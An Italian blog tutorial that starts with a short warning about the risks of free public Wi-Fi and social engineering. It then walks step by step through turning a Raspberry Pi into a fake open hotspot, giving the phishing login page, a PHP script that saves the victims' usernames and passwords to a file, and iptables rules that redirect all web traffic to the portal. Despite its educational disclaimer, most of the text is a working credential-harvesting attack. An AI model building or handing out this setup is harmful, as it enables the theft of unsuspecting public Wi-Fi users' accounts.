Come rubare le password via Wi-Fi – Worst Practice
Hai mai usato una connessione Wi-Fi Free? Ti sei mai chiesto se fosse sicura? In questo articolo parleremo della sicurezza dell’uso delle reti Wi-Fi e della relativa tecnica di phishing per catturare delle password. Capita spesso che ci preoccupiamo della sicurezza della nostra rete casalinga e magari siamo ossessionati nell’usare password lunghe e complicate ma, dall’altro lato ci siamo sicuramente imbattuti, almeno una volta nella nostra vita, in una rete Wi-Fi open ed assaliti da quella irrefrenabile necessità di connettersi ed anche gratis abbiamo deciso di provare a farlo. Personalmente a me è capitato, specialmente, all’estero. In queste occasioni vi siete mai posti, però, la domanda, mi posso fidare? Bene, in questo articolo cercheremo di capire proprio questi aspetti, pertanto, dedicherò questo tutorial ad approfondire ed a spiegare i rischi legati all’uso delle connessioni Wireless Open e per comprenderli iniziamo con ipotizzare uno scenario di utilizzo:
Senario tipico
Stai in un aereporto senza connessione, decidi di guardare se esiste qualche rete free, tra quelle disponibili ne trovi una in particolare chiamata Airport-Free-WiFi; senza neanche pensarci associ il nome della rete al posto in cui ti trovi e poichè ritieni attendibile il luogo diventerà automaticamente attendibile anche la rete; proverai di conseguenza a connetterti, farai la procedura di autenticazione accedendo ad un area web, con tanto di logo dell’aereporto, che ti richiede login e password e/o l’autenticazione via facebook o via google; a questo punto userai l’opzione più semplice ovvero di autenticarti ad esempio con uno dei tuoi social “et voilà” il danno è fatto.
Abitudini
Bisogna tenere presente che la tecnica di ingegneria sociale legata a questo tipo di attacco sfrutta sostanzialmente le nostre abitudini. Una connessione free wifi, è sempre preceduta, infatti, da una procedura di autenticazione attraverso un sito Web, chiamato in gergo tecnico Captive Portal e questa procedura è ovviamente lecita e sicura sugli hotspot autorizzati e serve per tracciare alcuni dati anche in base alle leggi vigenti, inoltre il sistema di autorizzazione all’accesso ad internet tramite “captive portal” è tra i più comuni ed utilizzati in aeroporti, hotel, università ecc, ed è per questa ragione che non faremo caso ad un potenziale fake hotspot (fasullo) costruito appositamente per rubare le password. Sebbene sembri un pericolo remoto, la possibilità che venga attuata un’attività di phishing è molto alta, anche, perchè per predisporre una attacco di questo tipo è sufficiente utilizzare tecnologie a portata di tutti ad esempio, un telefono Android o un pc portatile o un qualunque dispositivo su cui sia possibile far girare un sistema operativo tipo linux.
Fiducia
Prima di procedere alla descrizione della tecnica dell’attacco, volevo introdurre un concetto molto importante, ovvero quello della fiducia. Dovete tenere presente infatti che la maggior parte delle truffe informatiche sfruttano il nostro eccesso di fiducia “per rubare le nostre informazioni”. Questa nostra natutale predisposizione anche se inconscia viene utilizzata in modo veramente efficace nelle tecniche di hacking chiamate di Social engineering. In merito potrei consigliarvi di leggere un libro molto carino: “l’arte dell’inganno”. Un libro in cui Kevin Mitnick, oggi consulente di sicurezza infomatico in America, ma con un famoso passato da hacker, spiega tutte le tecniche di “social engineering” che gli hanno permesso di violare sistemi di sicurezza ritenuti invulnerabili. Egli Descrive le strategie impiegate dagli hacker, dagli agenti dello spionaggio industriale e dai criminali comuni per penetrare nelle reti. Si tratta di tecniche “dell’inganno”, di espedienti per usare la buona fede, l’ingenuità o l’inesperienza delle persone che hanno accesso alle informazioni sensibili. Quindi attenzione nessuno di noi è immune a questo tipo di truffe. Cosa fare per non essere raggirati dunque? essere sempre molto diffidenti anche e banalmente difronte ad una rete Wi-Fi open che sembrerebbe a prima vista lecita.
Social engineering
“Il social engineering riunisce una serie di tecniche rivolte a spingere le persone a fornire informazioni personali come password o dati bancari o a consentire l’accesso a un computer al fine di installare segretamente software dannosi. I ladri e i truffatori utilizzano il social engineering in quanto è più facile spingere una persona a rivelare le proprie password rispetto all’ottenere tali informazioni mediante tecniche da hacker.”
Cit. Avast
Tutorial su come trasformare una raspberry pi in un hotspot con captive portal
In questo articolo, al solo scopo didattico, utilizzeremo una raspberry; avremmo potuto usare anche un telefono android, ma richiederebbe fare anche una procedura di root e quindi di modifica del sistema operativo, pertanto, preferisco seguire una via alternativa, anche perchè di conseguenza perderei la garanzia del mio telefono.
Per il nostro test vi dovrete dotare di una raspberry pi 3 e di una microsd di 32Gb. Se poi volete rendere la cosa più interessante vi consiglio di comprare un battery pack, un display per raspberry ed un piccolo case.
Nei paragrafi seguenti, vi farò vedere come trasformare una raspberry Pi 3, in un hotspot fake, ma, giusto per chiarezza, tutto quello che scriverò qui è solo a scopo divulgativo e per far capire alla gente quanto sia semplice cadere in trappola. Quindi attenzione non dovrete assolutamentte usare quanto verrà discusso per usi illeciti, per cui non mi assumo nessuna responsabilità nel caso in cui qualcuno di voi pensasse anche per scherzo di usare una tecnica del genere in un area pubblica.
Agenda del progetto
Detto ciò vi dico cosa faremo in questo tutorial?:
- Installazione di linux su raspberry
- Azioni preliminari di configurazione
- Configurazione di una Raspberry Pi come access point
- Configurazione del un web server
- Creazione di un captive portal utile per l’attacco
- Sviluppo di un piccolo script php per catturare le credeziali : login e password.
- Gestione del redirect 404 (redirect page) configurando opportunamente il web server
- Configurazione di qualche regole iptable per fare il redirect al captive portal
- Conclusioni
Step 1: Installazione di linux su raspberry
Per la procedura di installazione del sistema operativo vi consiglio di leggere un altro articolo in cui spiego passo passo la procedura. Da questo punto in poi darò, dunque, per scontato che abbiate installato e configurato una raspberry con una distribuzione raspbian.
Step 2: Azioni preliminari di configurazione
Il primo passo da fare è identificare l’indirizzo ip della raspberry qualora si volesse lavorare da remoto comodamente con un pc via ssh
oppure basterà collegare una tastiera ed un monitor e lavorare direttamente sul terminale della raspberry. A voi la scelta. Per questo tutorial, mi collegherò via ssh alla console della raspberry eseguendo il seguente comando:
# ssh -l pi <ip-address-raspberry>
nel mio caso sarà:
# ssh -l pi 192.168.2.178
ovviamente prima di connettervi assicuratevi che il servizio ssh sulla raspberry sia attivo andando nella sezione preferenze -> raspberry pi configuration
oppure da terminale lanciando il comando:
# raspi-config
si aprirà una finestra tipo questa
dunque selezionando la voce relativa ad SSH dovrete abilitare il servizio
Step 3: Configurazione della Raspberry Pi come access point
Entriamo nel vivo del progetto. In prima istanza dobbiamo trasformare la Raspberry Pi in un access point, per fare ciò, vi prego di seguire il tutorial che ho scritto per questo scopo. In questa occasione non riprenderò, dunque, tutti i passi già spiegati nel tutorial dedicato a come trasformare un raspberry in un access point, ma saremo costretti a fare qualche variazione rispetto alla configurazione standard, in quanto il nostro hotspot in questo caso dovrà erogogare il servizio di connettività senza richiedere la password di rete per poi costringere gli ignari utenti ad autenticarsi su un “fake captive portal”.
Nel caso in esame dovreste configurare la raspberry nel seguento modo andando ad eliminare la componente di sicurezza wap2 e lasciando dunque open la connessione.
interface=wlan0 driver=nl80211 ssid=<NOME_SSID_RETE_WIFI_A_SCELTA> hw_mode=g channel=7 wmm_enabled=0 macaddr_acl=0 auth_algs=1 ignore_broadcast_ssid=0 rsn_pairwise=CCMP
Step 4: Configurazione del Web Server
Adesso passeremo all’installazione del webserver che ci servirà successivamente per il captive portal. Al nostro scopo possiamo usare Apache che tra l’altro è uno dei web server più diffusi. Per installarlo ed attivarlo sarà suffciente eseguire via terminale i comandi:
sudo apt update
e successivamente:
sudo apt install apache2 -y
A questo punto diamo i permessi necessari alla document root di apache eseguendo il comando :
chown -R www-data /var/www/html/
Possiamo verificare che tutto funzioni correttamente, collegandoci alla rete wifi che abbiamo creato e via browser collegarci all’indirizzo ip della nostra raspberry http://192.168.3.1 ; Se tutto è andato per il verso giusto, dovrebbe rispondere la pagina di default di apache.
Step 5 Creiamo un Fake Captive Portal
Creaiamo un file index.php in /var/ww/html/ ed aggiungiamo le seguenti righe
<html> <head> </head> <body> <div id="container"> <div class="titolo">Benvenuto nel nuovo Servizio di WI-FI Free del ...</div> <div><img id="logo" src="logo.png"></div> <div id="containerLogin"> <form action="index.php" method="POST"> <span id="login"><label>Username <input type="text" name="username"></label></span> <span id="password"><label>Password <input type="password" name="password"></label></span> <span id="submit"><label><input type="submit" value="Connetti"></label></span> </form> </div> <div class="descrizione">Siamo felici di poter offrire il nuovo servizo in tutte le aree.</div> </div> </body> </html> <style> form { font-size: 1.2em; } input { padding: 5px; } div#container { max-width: 800px; margin: auto; margin-top: 100px; text-align: center; padding: 10px; } .titolo { font-size: 1.5em; text-align: center; } .descrizione { font-size: 1.2em; margin-top: 10px; text-align: center; } #submit input { font-size: 1.4em; font-weight: bold; padding: 5px; } span#password { margin-left: 20px; } </style>
Step 6: Aggiungiamo uno piccolo script php per salvare le credenziali
Prima di procedere all’editing dello script sarà necessario abilitare php per apache, pertanto dovremo installare i pacchetti necessari e per farlo dobbiamo lanciare i seguenti comandi:
sudo apt install php php-mbstring
Alla fine del processo di installazione lanciamo questo comando
echo "<?php phpinfo ();?>" > /var/www/html/info.php
e colleghiamoci alla raspberry via browser per testare il tutto.
http://192.168.3.1/info.php
Se tutto è andato bene dovreste aver ottenenuto la schermata di info php ovvero qualcosa di simile a questa pagina:
a questo punto aggiungiamo in coda al file index.php precedente il seguente pezzo di codice:
<?php if (isset($_POST["username"]) && isset($_POST["password"])) { $credential = $_POST['username']."\t".$_POST['password']."\n"; file_put_contents('credentials.txt', $credential, FILE_APPEND); } ?>
Step 7: Configuriamo il Web Server per gestire l’errore 404, facendo il Redirect Page.
Per migliorare il sistema cercheremo, inoltre, di intercettare tutte le chiamate verso url inesistenti, verificando l’errore 404. Per fare ciò sarà sufficente modificare la configurazione di apache. Editate dunque il file localized-error-pages.conf, che dovrebbe trovarsi al seguente path :
/etc/apache2/conf-enabled/localized-error-pages.conf
quindi, cercate la riga contenente la stringa:
#ErrorDocument 404 /missing.html
sostituitela con
ErrorDocument 404 /index.php
e riavviate apache
sudo /etc/init.d/apache2 restart
Step 8: Configurazione delle regole Iptable per fare il Redirect al Captive Portal
A questo punto il captive portal è in esecuzione, ma dobbiamo ancora gestire l’ultimo problema, ovvero quello di far girare tutto il traffico web al captive portale per tentare di fare phishing e prendere qualche password. Per configurare la raspberry ed abilitarla a far rigirare tutto il traffico al nostro fake captive portal dovremmo attivare qualche regole di firewall/iptables. Quello che faremo e di dire al sistema di fare il redirect di tutto il traffico DNS, http ed https verso l’ip della raspberry che sarà ovviamente raggiungibile dai client connessi alla nostra rete free wifi. Per completare il tutto esegueremo su un terminale i seguenti comandi:
iptables -A FORWARD -p udp --dport 53 -j ACCEPT iptables -A FORWARD -p udp --sport 53 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.3.1 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.3.1 iptables -P FORWARD DROP
e per rendere definitive le modifiche andremo a memorizzare le regole in un file di configurazione con il seguente comando.
sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"
iptables-restore < /etc/iptables.ipv4.nat
il file /etc/rc.local dovreste diventare qualcosa di simile a questo :
# # By default this script does nothing. # Print the IP address _IP=$(hostname -I) || true if [ "$_IP" ]; then printf "My IP address is %s\n" "$_IP" fi iptables-restore < /etc/iptables.ipv4.nat exit 0
Conclusioni
Bene il sistema è pronto per fare il suo lavoro, ma per completare il progetto dovreste, anche, configurare il modulo mod_ssl di apache per far rispondere il WEB Server anche a chiamate https altrimenti il redirect verso l la 443 locale non funzionerà, ma questo è un altro problema di cui al momento lascio a voi la soluzione.
Sono amante della tecnologia e delle tante sfumature del mondo IT, ho partecipato, sin dai primi anni di università ad importanti progetti in ambito Internet proseguendo, negli anni, allo startup, sviluppo e direzione di diverse aziende; Nei primi anni di carriera ho lavorato come consulente nel mondo dell’IT italiano, partecipando attivamente a progetti nazionali ed internazionali per realtà quali Ericsson, Telecom, Tin.it, Accenture, Tiscali, CNR. Dal 2010 mi occupo di startup mediante una delle mie società techintouch S.r.l che grazie alla collaborazione con la Digital Magics SpA, di cui sono Partner la Campania, mi occupo di supportare ed accelerare aziende del territorio .
Attualmente ricopro le cariche di :
– CTO MareGroup
– CTO Innoida
– Co-CEO in Techintouch s.r.l.
– Board member in StepFund GP SA
Manager ed imprenditore dal 2000 sono stato,
CEO e founder di Eclettica S.r.l. , Società specializzata in sviluppo software e System Integration
Partner per la Campania di Digital Magics S.p.A.
CTO e co-founder di Nexsoft S.p.A, società specializzata nella Consulenza di Servizi in ambito Informatico e sviluppo di soluzioni di System Integration, CTO della ITsys S.r.l. Società specializzata nella gestione di sistemi IT per la quale ho partecipato attivamente alla fase di startup.
Sognatore da sempre, curioso di novità ed alla ricerca di “nuovi mondi da esplorare“.
Comments